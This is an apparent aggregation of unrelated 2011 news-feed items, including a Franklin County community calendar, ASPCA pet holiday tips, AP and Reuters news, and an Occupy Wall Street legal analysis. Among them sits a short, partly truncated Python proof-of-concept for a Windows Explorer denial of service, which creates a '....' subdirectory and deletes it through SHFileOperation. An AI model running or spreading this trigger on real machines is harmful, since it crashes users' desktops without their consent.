Franklin County community calendar

Saturday, Dec. 24

Chambersburg

Breakfast, Chambersburg High School Class of 1965, 9 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.; Della Fleagle Claar at 263-3097.

Mercersburg

Carillon recital, Julia Littleton, midnight, Mercersburg Academy Chapel, 300 E. Seminary St.

Orrtanna

Live nativity, 6 to 8 p.m., Mountain Top Ministries, 200 Church Road; 334-5430 or 334-9709. Sunday, Dec. 25

Fayetteville

Christmas meal, 3 to 6 p.m., Otterbein United Methodist Church, 61 W. Main St.; reservations are closed.

Greencastle

Model railroad open house, noon to 3 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Monday, Dec. 26

Chambersburg

Open house, noon to 5 p.m., Cumberland Valley Model Railroad Club, 440 Nelson St.; http://www.cvmrrc.com.

Tuesday, Dec. 27

Chambersburg

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Shippensburg

Reins of Rhythm Riding and Horsemanship Program, 10 a.m. to 4 p.m., Fine Line Stable, 470 McCulloch Road; for ages 7 to 11; Anastasia Kissel at 504-3852 or Patience Groomes at 228-8037.

Wednesday, Dec. 28

Shippensburg

Blood drive, noon to 6 p.m., Messiah United Methodist Church, 30 S.

Penn St.

Thursday, Dec. 29

Chambersburg

Meeting, Chambersburg Rotary, 12:15 p.m., The Orchards, 1580 Orchard Drive.

Greencastle

Blood drive, 1 to 7 p.m., First Assembly of God Church, 525 E. Leitersburg St.

Friday, Dec. 30

Mercersburg

Film, "The Twilight Saga: Breaking Dawn," 7:30 p.m., Star Theatre, 23 W. Seminary St.; http://www.newstartheatre.com.

Saturday, Dec. 31

Chambersburg

Dinner/concert, with Randy Simpson, New Season, Mercy's Vessel and Cornerstone Quartet, 5:30 p.m. to midnight, Solomon's Evangelical Lutheran Church, 4856 Wayne Road. Tickets at door and Sunnyway Foods in Chambersburg and Greencastle; 264-5138.

Greencastle

Pork and sauerkraut meal, for ages 55 and older, noon, Camp Joy El, 3741 Joy El Drive; free; reservations required, call 369-4539 or e-mail info@joyel.org.

Mercersburg

Film, "The Twilight Saga: Breaking Dawn," 7:30 p.m., Star Theatre, 23 W. Seminary St.; http://www.newstartheatre.com.

Carillon recital, Charles Farris, midnight, Mercersburg Academy Chapel, 300 E. Seminary St. Shippensburg

Drop the Anchor, 7 p.m., downtown Shippensburg. Register at http://www.tinyurl.com/ShipNewYears.

2012

Sunday, Jan. 1

Cascade, Md.

Polar Plunge, 1 p.m., Lake Royer at Fort Ritchie; party at noon with bonfire, s'mores, hot chocolate and music; participants must raise money; those younger than 18 must have supervision by parents and a parent signature; (301) 241-5085.

Orrtanna

Pork and sauerkraut dinner, 11 a.m. to 2 p.m., Buchanan Valley Volunteer Fire Department, 1180 Buchanan Valley Road, Orrtanna; 677-9234.

Monday, Jan. 2

Chambersburg

Open house, noon to 5 p.m., Cumberland Valley Model Railroad Club, 440 Nelson St.; http://www.cvmrrc.com.

Tuesday, Jan. 3

Chambersburg

Breakfast, Chambersburg High School Class of 1959, 8:30 a.m., Johnnie's Family Restaurant, 679 S. Main St.; Brenda Roof at 263-9441.

Friday, Jan. 6

Hagerstown, Md.

Information session, 10 a.m., Elliott Center, Hagerstown Community College, 11400 Robinwood Drive; for active duty military, veterans interested in attending; Kevin Crawford at (240) 500-2412 or klcrawford@hagerstowncc.edu.

Saturday, Jan. 7

Chambersburg

Luncheon, Chambersburg High School Class of 1961, 11 a.m., Texas Lunch, 108 Lincoln Way West.; 261-0600.

Community drum circle, 6:30 p.m., Zion Reformed United Church of Christ, 259 S. Main St.; bring drums; use Liberty Street entrance; donations requested; Jeff Diller at 267-0413.

Dances of Universal Peace, 7:30 p.m., Zion Reformed United Church of Christ, 259 S. Main St.; use Liberty Street entrance; no partner or experience needed, wear comfortable clothing; donations requested; Jeff Diller at 267-0413.

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Orrtanna

Seafood dinner, 6 p.m., Buchanan Valley Volunteer Fire Department, 1800 Buchanan Valley Road. For tickets, call 677-0870 or 677-9234.

Sunday, Jan 8

Chambersburg

Open house, noon to 5 p.m., Cumberland Valley Model Railroad Club, 440 Nelson St.; http://www.cvmrrc.com.

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Monday, Jan. 9

Chambersburg

Meeting, AARP Chapter 2840, Falling Spring, 1:30 p.m., Bard Hall, Eugene C. Clarke Jr. Community Center, 235 S. Third St.; John Southwood at 263-1594.

Tuesday, Jan. 10

Chambersburg

Blood drive, 10 a.m. to 3 p.m., Menno Haven's Menno Village, 2075 Scotland Ave.; for appointment, call 261-2507.

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Meeting, Charles Nitterhouse Post 1599 Veterans of Foreign Wars Ladies Auxiliary, 7 p.m., Stoner's Restaurant, 615 Wayne Ave.; refreshments served at 6; Diana Alexiou at 263-3673.

Saturday, Jan. 14

Chambersburg

Breakfast, Chambersburg High School Class of 1962, 8 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Sunday, Jan. 15

Chambersburg

Open house, noon to 5 p.m., Cumberland Valley Model Railroad Club, 440 Nelson St.; http://www.cvmrrc.com.

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Tuesday, Jan. 17

Chambersburg

Meeting, St. Thomas Area Ruritan, 7 p.m., clubhouse, 3705 Lincoln Way West.

Thursday, Jan. 19

Fayetteville

Relay for Life kickoff, overnight fundraising event, 6 p.m., Norlo Park Community Center, 3050 Lincoln Way East; Jennifer Kessel at 264-6266 or jennifer.kessel@cancer.org.

Saturday, Jan. 21

Chambersburg

Workshop, "Year of the Dragon," 9:30 to 11:30 a.m., rooms 7 and 8, Agricultural Heritage Building, 185 Franklin Farm Lane. To register, call Jennifer Wetzel at 263-9226.

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Sunday, Jan. 22

Greencastle

Model railroad open house, noon to 3 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Tuesday, Jan. 24

Chambersburg

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Wednesday, Jan. 25

Hagerstown, Md.

AARP Driver Safety Program, 9 a.m. to 1 p.m., The Village of Robinwood, 19800 Tranquility Circle. To register, call Judy Brewer at (301) 790-0275, Ext. 220.

Friday, Jan. 27

Chambersburg

Annual joint meeting, Franklin County Cooperative Extension Association and Franklin County Conservation District, 7 p.m., Solomon's
Evangelical Lutheran Church, 4856 Wayne Road. Buy tickets by Jan. 20; 263-9226 or 264-5499.

Saturday, Jan. 28

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Sunday, Jan. 29

Greencastle

Model railroad open house, 1 to 4 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Saturday, Feb. 4

Shippensburg

Soulful Saturday, 8 p.m., Knights of Columbus, 336 E. Garfield St. Register by Jan. 20 to 477-1616.

Saturday, Feb. 11

Chambersburg

Breakfast, Chambersburg High School Class of 1962, 8 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.

Sunday, Feb. 12

Greencastle

Model railroad open house, noon to 3 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Tuesday, Feb. 14

Chambersburg

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Sunday, Feb. 26

Greencastle

Model railroad open house, noon to 3 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Tuesday, Feb. 28

Chambersburg

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Wilson College World Travel Film Series, "The Silk Road ...," 7 p.m., Thomson Hall's Alumnae Chapel, Wilson College. For tickets, call 262-2003.

Thursday, March 1

Greencastle

Hobo Minstrel show, "When Irish Eyes Are Smiling," 7:30 p.m., Greencastle-Antrim High School auditorium, 300 S. Ridge Ave.

Friday, March 2

Greencastle

Hobo Minstrel show, "When Irish Eyes Are Smiling," 7:30 p.m., Greencastle-Antrim High School auditorium, 300 S. Ridge Ave.

Saturday, March 3

Greencastle

Hobo Minstrel show, "When Irish Eyes Are Smiling," 7:30 p.m., Greencastle-Antrim High School auditorium, 300 S. Ridge Ave.

Saturday, March 10

Breakfast, Chambersburg High School Class of 1962, 8 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.

Sunday, March 11

Greencastle

Model railroad open house, noon to 3 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Tuesday, March 13

Chambersburg

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Sunday, March 25

Greencastle

Model railroad open house, noon to 3 p.m., residence of Leighton Scott, 594 Shannon Drive; 597-3902 or leescottdesign@gmail.com.

Tuesday, March 27

Chambersburg

Meeting, Noontime Lions Club, noon, The Orchards, 1580 Orchard Drive.

Saturday, March 31

Chambersburg

Wilson College Performing Arts Series, Baltimore Mandolin Orchestra, 7:30 p.m., Laird Hall, Wilson College. For tickets, call 262-2003.

Tuesday, April 3

Chambersburg

Wilson College World Travel Film Series, "Discovering the Dutch," 7 p.m., Thomson Hall's Alumnae Chapel, Wilson College. For tickets, 262-2003.

Saturday, April 14

Breakfast, Chambersburg High School Class of 1962, 8 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.

Wednesday, April 15

Chambersburg

Van Looy Organ Series: Gordon Turk, 3 p.m., Alumnae Chapel, Thomson Hall, Wilson College. For tickets, call 262-2003 or e-mail specialevents@wilson.edu.

Friday, May 4

Chambersburg

Wilson College Performing Arts Series, J.D. Walter and the Steve Rudolph Trio, 7:30 p.m., Laird Hall, Wilson College. For tickets, call 262-2003.

Saturday, May 12

Breakfast, Chambersburg High School Class of 1962, 8 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.

Saturday, June 9

Breakfast, Chambersburg High School Class of 1962, 8 a.m., Greenvillage Drive-In Family Restaurant, 5440 Philadelphia Ave.

Source: http://www.publicopiniononline.com/living/ci_19613067?source=rss

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[dos / poc] - Windows Explorer Denial Of Service

# Windows 2008 SP2 RC2 Explorer Go Byebye :P
 # Windows 7 Pro SP1 Explorer Go Byebye :P
 # Interesting
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 from win32com.shell import shell, shellcon
 from os import mkdir
  
 try:
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 except:
     print "[!] Trigger Directory Exists"
 try:
     mkdir("c:\\trigger_alt\\....")
 except:
     print "[!] Trigger Sub Directory Exists"
  
 print "[!] Triggering Issue"
  
 # This moves the directory containing the sub directory which creates the condition.
 # The issue is in the function that moves the files to the recycle bin
 # Replicate this using the following
 # 1- mkdir c:\trigger_alt
 # 2- cd c:\trigger_alt
 # 3- mkdir ....\
 # 4- My Computer -> c:\trigger_alt
 # 5- Right Click -> Delete
  
 shell.SHFileOperation((0,shellcon.FO_DELETE,'c:\\trigger_alt',None,shellcon.FOF_ALLOWUNDO|shellcon.FOF_NOCONFIRMATION))
 
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N.R.C. Clears Way for Nuclear Plant Construction

[unable to retrieve full-text content]The Nuclear Regulatory Commission?s decision, affecting projects in Georgia and South Carolina, is a milestone in the much-delayed revival of nuclear plant construction sought by the industry.

Source: http://feeds.nytimes.com/click.phdo?i=1fc5cf454ff2c0a9666a02b1bf01e8bc

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DuPont to launch Sorona in India

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Source: www.ecotextile.com --- Thursday, December 22, 2011
USA ? DuPont is to launch its renewably sourced Sorona fibre to the Indian textile market through partner mills such as Arvind, Raymond, KG Denim, JCT and other big textile mills in the knit, woven and denim sectors of the industry. ...

Source: http://www.ecotextile.com/2011122311319/materials-production-news/dupont-to-launch-sorona-in-india.html

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Keeping Your Pets Safe During The Holidays: Tips From The ...

NEW YORK (1010 WINS) ? As the holiday season gets underway this Thanksgiving weekend, the ASPCA is out with?tips for pet parents, to ensure the safety of your furry family members during the festivities:

No Feasting for the Furries:? Most people know not to feed your pets chocolate?and anything sweetened with xylitol, but other toxic table foods can be hidden in recipes, including garlic, onions, grapes/raisins and fatty foods like turkey skin and?avocado.? In addition,?bones should never be given to a pet, as they can become logged in the throat or intestines.? Call the ASPCA Poison Prevent Hotline ?if you think your pet has ingested something dangerous: 1-888-426-4435.

O Christmas Tree: ?Securely anchor your Christmas tree so it doesn?t tip and fall, causing possible injury to your pet. This will also prevent the tree water?which may contain fertilizers that can cause stomach upset?from spilling.??Use a tree skirt to prevent your pet from drinking the water, which could result in nausea or diarrhea.

Tinsel-less Town: Kitties love this sparkly, light-catching ?toy? that?s easy to bat around and carry in their mouths. But a nibble can lead to a swallow, which can lead to an obstructed digestive tract, severe vomiting, dehydration and possible surgery. It?s best to brighten your boughs with something other than tinsel.

Forget the Mistletoe & Holly: Holly, when ingested, can cause pets to suffer nausea, vomiting and diarrhea. Mistletoe can cause gastrointestinal upset and cardiovascular problems. And many varieties of lilies, can cause kidney failure in cats if ingested. Opt for just-as-jolly artificial plants made from silk or plastic, or choose a pet-safe bouquet.

Watch the video below or click here.

Get more safety tips in the latest edition of All For Animals with 1010WINS? Susan Richard:
(All for Animals is a production of New Day Media and is placed on CBSNewYork.com as a courtesy)

That Holiday Glow: Don?t leave lighted candles unattended. Pets may burn themselves or cause a fire if they knock candles over. Be sure to use appropriate candle holders, placed on a stable surface. And if you leave the room, put the candle out!

Wired Up: Keep wires, batteries and glass or plastic ornaments out of paws? reach. A wire can deliver a potentially lethal electrical shock and a punctured battery can cause burns to the mouth and esophagus, while shards of breakable ornaments can damage your pet?s mouth.

(Credit: File Photo)

Toy Joy: Looking to stuff your pet?s stockings? Choose gifts that are safe.

• Dogs have been known to tear their toys apart and swallowing the pieces, which can then become lodged in the esophagus, stomach or intestines. Stick with chew toys that are basically indestructible, Kongs that can be stuffed with healthy foods or chew treats that are designed to be safely digestible.
• Long, stringy things are a feline?s dream, but the most risky toys for cats involve ribbon, yarn and loose little parts that can get stuck in the intestines, often necessitating surgery. Surprise kitty with a new ball that?s too big to swallow, a stuffed catnip toy or the interactive cat dancer?and tons of play sessions together.

Careful with Cocktails: If your celebration includes adult holiday beverages, be sure to place your unattended alcoholic drinks where pets cannot get to them. If ingested, your pet could become weak, ill and may even go into a coma, possibly resulting in death from respiratory failure.

Put the Meds Away : Make sure all of your medications are locked behind secure doors, and be sure to tell your guests to keep their meds zipped up and packed away, too.

A Room of Their Own: Give your pet his own quiet space to retreat to?complete with fresh water and a place to snuggle. Shy pups and cats might want to hide out under a piece of furniture, in their carrying case or in a separate room away from the hubbub.

New Year?s Noise: As you count down to the new year, please keep in mind that strings of thrown confetti can get lodged in a cat?s intestines, if ingested, perhaps necessitating surgery. Noisy poppers can terrify pets and cause possible damage to sensitive ears.

Don?t Shop, Adopt:? If you?re thinking about adding a furry family member, please make adoption your first option.? There are thousands of loving animals at shelters across the country waiting for their forever homes.? To see photos of adoptable animals at the ASPCA, visit www.aspca.org.

Source: http://newyork.cbslocal.com/2011/11/23/keeping-your-pets-safe-during-the-holidays-tips-from-the-aspca/

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Michael Giltz: Theater: "White Christmas" Early Present For Holidays (Huffington post)

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Deficit deal failure would pose crummy choice (AP)

WASHINGTON ? If the deficit-cutting supercommittee fails, Congress will face a crummy choice. Lawmakers can allow payroll tax cuts and jobless aid for millions to expire or they extend them and increase the nation's $15 trillion debt by at least $160 billion.

President Barack Obama and Democrats on the deficit panel want to use the committee's product to carry their jobs agenda. That includes cutting in half the 6.2 percent Social Security payroll tax and extending jobless benefits for people who have been unemployed for more than six months.

Also caught up in what promises to be a chaotic legislative dash for the exits next month is the need to pass legislation to prevent an almost 30 percent cut in Medicare payments to doctors. Several popular business tax breaks and relief from the alternative minimum tax also expire at year's end.

A debt plan from the supercommittee, it was hoped, would have served as a sturdy, filibuster-proof vehicle to tow all of these expiring provisions into law. But after months of negotiations, Republicans and Democrats were far apart on any possible compromise, and there was no indication of progress Saturday.

Failure by the committee would leave lawmakers little time to pick up the pieces. And there's no guarantee it all can get done, especially given the impact of those measures on the spiraling debt.

Instead of cutting the deficit with a tough, bipartisan budget deal, Congress could pivot to spending enormous sums on expiring big-ticket policies.

If lawmakers rebel against the cost, as is possible, they would bear responsibility for allowing policies such as the payroll tax cut, enacted a year ago to help prop up the economy, to lapse.

Last year's extensions of jobless benefits and first-ever cut in the payroll tax were accomplished with borrowed money.

The 2 percent payroll tax cut expiring in December gave 121 million families a tax cut averaging $934 last year at a total cost of about $120 billion, according to the Tax Policy Center.

Obama wants to cut the payroll tax by another percentage point for workers at a total cost of $179 billion and reduce the employer share of the tax in half as well for most companies, which carries a $69 billion price tag.

"The notion of imposing a new payroll tax on people after Jan. 1 in the midst of this recession on working families is totally counterproductive," said Sen. Dick Durbin of Illinois, the No. 2 Democrat in the Senate.

Letting extended jobless assistance expire would mean that more than 6 million people would lose benefits averaging $296 a week next year, with 1.8 million cut off within a month.

Economist say those jobless benefits ? up to 99 weeks of them in high unemployment states ? are among the most effective way to stimulate the economy because unemployed people generally spend the money right away.

"We will have to address those issues," Durbin said.

Extending benefits to the long-term unemployed would cost almost $50 billion under Obama's plan. Preventing the Medicare payment cuts to doctors for an additional 18 months to two years would in all likelihood cost $26 billion to $32 billion more.

Lawmakers also had hoped to renew some tax breaks for business and prevent the alternative minimum tax from sticking more than 30 million taxpayers with higher tax bills. Those items could be addressed retroactively next year, but only increase the uncertainty among already nervous consumers and investors.

This time, Obama wants them to be paid for. But a move by Democrats to try to finance jobs measures with hundreds of billions of dollars in savings from drawing down troops in Iraq and Afghanistan has gotten a cold shoulder from top Republicans.

"I've made it pretty clear that those savings that are coming to us as a result of the wind-down of the war in Iraq and the war in Afghanistan should be banked, should not be used to offset other spending," said House Speaker John Boehner, R-Ohio. He did not address whether war savings could be used to extend expiring tax cuts.

Those savings are the natural result of national security strategies unrelated to the federal budget. Deficit hawks say tapping into them is simply an accounting gimmick.

"It's just the worst of all worlds if that were to happen," said Maya MacGuineas, president of the Committee for a Responsible Federal Budget.

But without the war money at their disposal, lawmakers simply can't pay for the payroll tax cut and jobless benefits. Liberals such as Durbin are fine with employing deficit financing, especially if the alternative is playing Scrooge just before the holidays.

"Many people will hate to go home for Christmas saying to the American people, `Merry Christmas, your payroll taxes go up 2 percent Jan. 1 and unemployment benefits are cut off.'"

Source: http://us.rd.yahoo.com/dailynews/rss/economy/*http%3A//news.yahoo.com/s/ap/20111119/ap_on_go_co/us_debt_supercommittee_what_next

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Ethiopian troops move into Somalia: witnesses (Reuters)

MOGADISHU (Reuters) ? Scores of Ethiopian military vehicles pushed at least 80 km (50 miles) into neighboring Somalia Saturday, residents said, five weeks after Kenya entered Somalia to fight Islamist militants it blames for a wave of kidnappings on its soil.

"The Ethiopian troops, which are in convoys of armoured vehicles, come to us today, crossing from Balanbale district on the border," Gabobe Adan, an elder in the town of Guriel told Reuters.

"They were in about 28 trucks and armed battle wagons - the armed vehicles are very big."

Other residents told Reuters that the Ethiopians had set up a base in Guriel and moved troops to other towns nearby.

A spokesman for the Ethiopian government, Shimeles Kemal, would neither confirm nor deny the reports.

Another Ethiopian official told Reuters that an Ethiopian move to support the Kenyan assault on the al Qaeda-linked al Shabaab group was likely.

"There is a strong possibility that we will be sending troops to Somalia soon to support Kenya's operation against the al Shabaab extremists," the official said, speaking on condition of anonymity.

"Our deployment could either be implemented under the umbrella of AMISOM or under another form, such as a separate operation alongside Kenya," he said.

AMISOM is an African Union force of Ugandan and Burundian troops that has been largely responsible for keeping al Shabaab from ousting the internationally-backed government.

The intention of the Ethiopian troops was not immediately clear and one local elder who did not want to be named said that they would train Somali fighters loyal to the government.

Senior Kenyan government ministers have shuttled around the east Africa region this week and travelled to the Gulf to drum up political and financial support for a coordinated campaign to rout the rebels.

FINAL ASSAULT ON AL SHABAAB?

Some analysts say Ethiopia may want to take advantage of al Shabaab's withdrawal from the capital Mogadishu in August to wipe out a group it sees as a threat to its stability.

Since that pullout, the militants, who want to introduce a strict version of sharia law, have resorted to suicide attacks and guerilla-style tactics against African Union troops.

Although Ethiopian troops regularly cross the border with Somalia, and it has admitted opening "humanitarian corridors" into the country that it says are for food relief, residents said the numbers and locations of the troops were unusual.

"I have seen about 30 Ethiopian military vehicles myself. They have entered," another Guriel resident, Farah Hussein, told Reuters. "We are very happy to see them -- it is a sign of putting an end to al Shabaab."

Other people in the area, including some Ethiopian businessmen, told Reuters that Ethiopian army officers had been meeting elders in central Somalia for weeks.

Ethiopia entered Somalia in 2006, with tacit U.S. backing, to oust another Islamist movement that had taken control of the capital Mogadishu and large swathes of the country.

Its army set up a base in Guriel during that operation.

The presence of the Ethiopian troops was hugely unpopular with Somalis, and with some analysts saying it was fanning support for new militant groups, they withdrew in early 2009.

(Writing by Barry Malone; Additional reporting by Aaron Maasho in Addis Ababa and Sahra Abdi in Nairobi)

Source: http://us.rd.yahoo.com/dailynews/rss/africa/*http%3A//news.yahoo.com/s/nm/20111119/wl_nm/us_somalia_ethiopia

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Using Blogs and Social Media in Undergrad Classrooms

This January, John Hawks (of his eponymous weblog) and I are moderating a session as part of the education track at Science Online in North Carolina.

Blogging in the undergraduate science classroom (how to maximize the potential of course blogs) (discussion) ? Jason Goldman and John Hawks

This session will mainly feature a roundtable discussion of ?best practices? for incorporating blogs into undergraduate courses. Possible topics that will be covered: Developing, evaluating, and grading assignments, incorporating blogs into syllabi, how blogging can contribute to learning goals, privacy versus openness, especially with respect to FERPA, and interacting with students with social media more broadly (e.g. twitter, G+, facebook, etc).

In preparing for our session, I?ve started to put together a list of examples that I?m familiar with of educators using blogs and social media in undergraduate education. But I know there are more.

If you are an educator, and you?re using social media in your classes, let me know in the comments (or get in touch via twitter, google+, or email ? thoughtfulanimal at gmail dot com).

Also if you?re an undergrad and your professor is using some kind of social media in his or her curriculum, or if you are a grad student using blogs or social media in some way as part of your TA duties, please get in touch. If you are none of the above, but you still know somebody using blogs or social media in undergrad courses, please let me know.

>Continuously updated list of examples:
via @dupuisj: http://www.yorku.ca/yul/cse/

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Goodbye, Regis! Philbin's Best 'Live' Moments

On Friday, Regis Philbin, 80, will sign off for the last time as host of Live! With Regis and Kelly. Naturally, his 28-and-a-half years of live television have produced a goldmine of unplanned and memorable moments, both with his current costar Kelly Ripa and his original costar Kathie Lee Gifford. No doubt viewers will get treated to some of them during tonight's ABC profile, Regis Philbin: The Morning Maestro with Katie Couric, a special edition of 20/20 that will air at 8 p.m. ET. In the meantime, here are a few funny highlights worth sharing:

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Review: MJ book thankfully focuses on the music (AP)

"Man in the Music: The Creative Life and Work of Michael Jackson" (Sterling Publishing), by Joseph Vogel: We get it already: Michael Jackson was kind of a weird dude.

In the weeks, months and now years since the music icon's death, news consumers across the globe have been inundated with examinations of Jackson's life. And frankly, too much of it has focused on the sensational aspects of his 50 years on Earth.

Luckily, for those of us who prefer to remember Jackson as a once-in-a-generation entertainer and the undisputed King of Pop and not so much for his sometimes peculiar personal choices, we have Joseph Vogel in our corner.

Vogel, who writes about popular culture, music and politics for The Huffington Post and teaches at the University of Rochester, has written a book that focuses solely on Jackson's creative output.

"Man in the Music" is thankfully all about just that ? the music.

And it's really good.

Vogel takes the reader album-by-album, song-by-song and examines in exhaustive detail how Jackson produced a lifetime's worth of music that became a soundtrack to the lives of millions.

Jackson's Motown years, including his work with The Jackson 5, isn't covered in "Man in the Music," which focuses on the singer's solo work, beginning with 1979's mega-selling "Off the Wall" all the way through "Invincible" in 2001.

Vogel, relying on news archives, Jackson's words and interviews with those who collaborated on the albums, opens the door to the studio and provides an in-depth picture of the artist's creative process. Each song Jackson recorded during his solo career is examined with a critical eye.

It's a fascinating read and really a must-have for any Jackson fan.

"I wanted to write something historically and critically rigorous, but approach the subject with less cynicism and curiosity," Vogel writes in the preface.

Mission accomplished, sir.

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Does Constitution protect camping protesters?

To protesters, it was outrageous.

Under a directive from New York City Mayor Michael Bloomberg, New York police evicted hundreds of Occupy Wall Street protesters from New York's Zuccotti Park early Tuesday morning and broke down the encampment that had served as headquarters for the protest for nearly two months.

Protesters have been allowed to return to the park, but they cannot bring sleeping bags, tents, tarps or other camping gear, and they can't sleep or lie down there. There are anecdotal reports of people being stopped for trying to bring in musical instruments, books and food.

Protesters see the police action as a blatant infringement of their constitutional rights.

"The First Amendment is very, very clear that the right to peacefully publicly assemble shall in no way be infringed," said Patrick Bruner, an Occupy Wall Street protester who is on the public relations working committee. "Obviously it has been ? by not allowing us to peacefully assemble in the way that we want to peacefully assemble."

But constitutional law experts say that persuading a court with that argument is ? while not impossible ? a long shot. That's because the right to free assembly and expression in public spaces can be curtailed for health and safety reasons.

That is precisely the reasoning that Bloomberg used to justify his decision to remove the protesters.

"From the beginning, I have said that the city had two principal goals: guaranteeing public health and safety and guaranteeing the protesters' First Amendment rights. But when those two goals clash, the health and safety of the public and our first responders must be the priority," Bloomberg said Tuesday.

It's an argument that city governments have used successfully many times in the last 50 years, say experts. Similar rationale has been employed to disperse Occupy encampments in Oakland, Portland, Sacramento, Atlanta and other cities in recent weeks ? saying that the right to free speech does not guarantee the right to round-the-clock occupation.

"City officials like Bloomberg tend to have an advantage in these disputes," said Jonathan Turley, professor of law at George Washington University. "The key question for courts is whether protesters are being singled out because of the content of their message. That is the most serious (First Amendment) violation."

The courts generally agree to some restrictions on free speech and assembly for reasonable "time, place and manner" concerns. For instance, city officials might reasonably ban protesters from demonstrating in the middle of Madison Avenue at rush hour. But the rule must be "content neutral," meaning it is applied equally to animal rights activists, war protesters and any other group or individual seeking to spread a message.

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Even when a rule that restricts protest applies to everyone ? such as the new ban on camping in Zuccotti Park ? its opponents might argue that it was created for reasons that were not neutral, Turley said. In other words, they could say that New York officials banned camping and structures in the park not for health and safety reasons but to silence the movement.

"There are cases where ostensibly neutral rules are found to be directed at one group and express hostility to one group's message," he said.

Occupy Wall Street activists might use that line of reasoning if they pursue the legal case against the camping ban. Activists claim that they tried to hold talks with the city government to address health and safety concerns when they were raised, but that city officials refused to engage in discussions.

"The government could have tried to negotiate with Occupy Wall Street in ways that would have satisfied issues around health and safety if there were any... There was nothing that couldn't have been remedied," said Michael Ratner, an attorney with the National Lawyers Guild, which has been providing legal support to the movement. "I think it was a pretextual way of closing it down."

"The argument that the city would not engage ? certainly is relevant," according to Turley. "The city may be using a calculated and perhaps cynical strategy. They may not want to see the sanitation issues improved, because they are really seeking the expulsion of the protesters."

To demand or not to demand? That is the 'Occupy' question

Ratner said there is another argument that could serve "Occupy" protesters if they want to argue for camping in Zuccotti Park on First Amendment grounds.

The First Amendment protects not only speech and assembly rights but also "expressive conduct" ? including things like burning the American flag and wearing black arm bands, as protesters did during the Vietnam War.

There is a precedent in New York City for sleeping in public places as a form of expressive conduct, Ratner said. In 2000, a judge ruled in favor of protesters sleeping on city sidewalks to protest rent increases.

"They were sleeping on the sidewalk to say 'this is what will happen to us if you raise the rent'," Ratner said. "A federal judge said this is expressive conduct. ? You can place limits on it, but you can't restrict it altogether." The protesters were allowed to continue sleeping on the sidewalks but had to leave half of the walkway open so pedestrians could get through.

Ratner argues that camping in Zuccotti Park could be seen as a form of expressive conduct because it is as near to occupying Wall Street as protesters can manage ? and Wall Street is to them the symbol of the people and institutions that they believe drove the economy to the edge of ruin and created the gaping disparity between rich and poor.

"My point of view is that it is expressive speech that is protected," said Ratner. "The question is ? how far does that go? This example is slightly beyond (sleeping on sidewalk), but I think it would be justified by that precedent.

"That doesn't mean that there can't be any restrictions. The judge could have written a judgment that said the protesters could use one-half or one-third of the park."

Photoblog: Who is occupying Wall Street?

Unlike most public parks in the city, Zuccotti Park is open 24 hours a day. The park is privately owned but required to serve the public ? as part of a deal between the city and a developer.

Occupy Wall Street protesters are debating whether their next moves will include a legal appeal of the camping ban, according to Bruner.

"The legal team needs a few more days to decide what to do," he said.

But even if the protesters decide to press their case through the plodding legal system, they are not planning to sit around waiting for the outcome. They are planning "flash crowds" and other actions to keep their message alive.

"We will continue to exercise our rights," said Bruner. "We don't need permission to exercise our rights."

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Over one in six Japanese want a geiger counter

By Ken Y-N ( November 16, 2011 at 01:22) ? Filed under Polls, Society

goo Research recently conducted an interesting survey, reported on by japan.internet.com, into geiger counters.

Demographics

Over the 24th and 25th of October 2011 1,089 members of the goo Research online monitor group completed a private internet-based questionnaire. 53.5% of the sample were male, 16.9% in their teens, 17.9% in their twenties, 21.6% in their thirties, 16.0% in their forties, 15.9% in their fifties, and 11.7% aged sixty or older.

I suppose if I was intellectually bankrupt and just wanted to get hits for this story by getting spread to the more excitable corners of the web, I should have entitled the story something like ?Four in five Japanese will DIE of STUBBORNNESS?, and indeed I wouldn?t be too surprised if it gets picked up anyway and repackaged with a similar scary line. Anyway, I believe that geiger counters are actually relatively difficult to use accurately, and for perhaps the biggest source of (mostly unfounded) worry, foodstuffs, they are pretty much useless, but yet I hear that people in Tokyo supermarkets do wave them over the veggie stalls. I wonder how they react to bananas and Brazil nuts?

Research results

Q1: Do you want to buy a geiger counter? (Sample size=1,068)

Already bought	1.2%
Plan to buy within a year	0.9%
Plan to buy in a few years	0.4%
May want to buy, but don?t know when	14.7%
Don?t think want to buy	37.2%
Don?t know	4.4%
Don?t know what it is	41.2%

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Officials: Gunman shot by UC Berkeley cops dies

